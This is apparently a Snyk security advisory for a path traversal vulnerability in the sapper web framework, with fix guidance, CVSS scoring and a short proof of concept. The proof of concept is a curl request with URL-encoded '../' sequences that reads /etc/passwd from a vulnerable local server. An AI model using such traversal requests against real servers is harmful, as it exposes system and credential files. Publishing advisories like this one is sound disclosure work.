Path Traversal Affecting sapper package, versions <0.27.11


Severity

0.0
high
0
10

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-SAPPER-572858
  • published 19 Jun 2020
  • disclosed 18 Jun 2020
  • credit anvikha

Introduced: 18 Jun 2020

CVE NOT AVAILABLE CWE-19 Open this link in a new tab

How to fix?

Upgrade sapper to version 0.27.11 or higher.

Overview

sapper is a framework for building high-performance universal web apps.

Affected versions of this package are vulnerable to Path Traversal. It allows an attacker to simply obain arbitrary files from the remote server, exploiting a simple path traversal using URL-encoded "../".

PoC by anvikha:

  • Clone https://github.com/sveltejs/sapper-template project
  • npm i
  • Use degit to obtain the webpack example app: npx degit "sveltejs/sapper-template#webpack" my-app
  • npx sapper dev - exploit with curl -vv http://localhost:3000/client/750af05c3a69ddc6073a/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd This also works in prod mode with
  • npx sapper build && node __sapper__build - exploit with curl -vvv http://localhost:3000/client/750af05c3a69ddc6073a/

References

CVSS Scores

version 3.1
Expand this section

Snyk

8.6 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None